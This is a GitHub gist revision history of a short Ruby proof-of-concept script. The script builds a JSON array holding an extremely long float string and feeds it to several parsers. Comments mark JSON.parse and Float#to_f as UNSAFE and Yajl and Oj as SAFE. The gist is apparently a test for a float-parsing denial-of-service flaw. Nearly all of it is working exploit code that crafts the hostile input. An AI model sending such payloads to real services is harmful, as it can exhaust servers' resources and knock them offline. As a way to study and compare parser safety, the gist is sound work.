Revisions
-
jacopen revised this gist
Nov 25, 2013 . 1 changed file with 3 additions and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,5 +1,6 @@ require 'yajl' require 'json' require 'oj' def digit_pattern digit_pattern ||= rand(10000).to_s @@ -27,4 +28,5 @@ def evil_float_string #evil_float_string.to_f #UNSAFE #JSON.parse sploit #UNSAFE #Yajl::Parser.parse sploit #SAFE #Oj.load sploit #SAFE -
jacopen revised this gist
Nov 25, 2013 . 1 changed file with 3 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -25,5 +25,6 @@ def evil_float_string sploit << evil_float_string sploit << ']' #evil_float_string.to_f #UNSAFE #JSON.parse sploit #UNSAFE #Yajl::Parser.parse sploit #SAFE -
jacopen revised this gist
Nov 25, 2013 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -25,5 +25,5 @@ def evil_float_string sploit << evil_float_string sploit << ']' JSON.parse sploit #UNSAFE #Yajl::Parser.parse sploit #SAFE -
jacopen revised this gist
Nov 25, 2013 . 1 changed file with 5 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,15 +1,16 @@ require 'yajl' require 'json' def digit_pattern digit_pattern ||= rand(10000).to_s end def integer_part digit_pattern end def multiplier (500000 * (1.0/digit_pattern.size)).to_i end def fractional_part @@ -24,4 +25,5 @@ def evil_float_string sploit << evil_float_string sploit << ']' JSON.parse sploit #UNSAFE Yajl::Parser.parse sploit #SAFE -
jacopen created this gist
Nov 25, 2013 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,27 @@ require 'json' def digit_pattern digit_pattern ||= rand(10_000).to_s end def integer_part digit_pattern end def multiplier (500_000 * (1.0/digit_pattern.size)).to_i end def fractional_part digit_pattern * multiplier end def evil_float_string [integer_part,fractional_part].join('.') end sploit = '[' sploit << evil_float_string sploit << ']' JSON.parse sploit